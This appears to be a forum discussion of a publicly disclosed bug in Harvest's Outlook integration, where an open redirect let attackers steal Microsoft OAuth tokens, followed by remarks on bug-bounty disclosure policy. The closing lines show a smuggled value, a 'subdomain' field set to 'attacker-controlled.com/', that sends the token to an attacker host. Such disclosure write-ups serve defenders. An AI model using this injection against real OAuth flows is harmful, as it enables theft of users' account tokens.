Stealing OAuth tokens of Microsoft accounts via open redirect in Harvest App

That url allows you to link someone to a login.microsoftonline.com link, have a login prompt show up that says "login to harvestapp", and then have the attacker be able to gain permissions related to your real harvestapp account.

Normally, this would not be possible. The attacker with example.com could register a new app that does redirect to example.com, but that would not give them an access token with permissions related to harvestapp, so it would not be useful.

The oauth app, on microsoft's end, has a whitelist of valid redirects, so an attempt to do something like "login.microsoftonline.com/authorize?client_id=$harvestAppID&redirect_uri=attacker.com" will error out on microsoft's side, since that is not a valid redirect uri to receive an access token.

The attack is only possible because there's a valid "outlook-integration.harvestapp.com" URL, which receives the access token, but then also redirects to the attacker's site and gives them the access token too.

In the vast majority of cases, companies deny requests for public disclosure. A researcher that discloses regardless of permission violates their agreement with hackerone and the company and exposes themselves to legal liability. In this case it seems the company agreed to public disclosure, which IMO should be applauded, even if their response was very slow.

I've personally had several four figure bugs unremediated for >1year, but I never thought it was hackerone's fault.

The property `subdomain` was used to redirect the browser to a subdomain of harvestapp.com, passing the `#id-token`. The problem came from the fact that the value of `subdomain` was injected directly to:

https://${subdomain}.harvestapp.com/...#id-token=...

By setting the `subdomain` in JSON payload to `attacker-controlled.com/` (note the trailing slash), the URL become:

  https://attacker-controlled.com/.harvestapp.com/...#id-token=..